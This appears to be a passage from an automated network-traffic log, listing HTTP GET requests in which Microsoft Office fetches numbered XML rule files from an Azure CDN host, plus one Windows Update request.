Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=udU4CZ+cV4M2lSX&MD=dRkMo68v HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
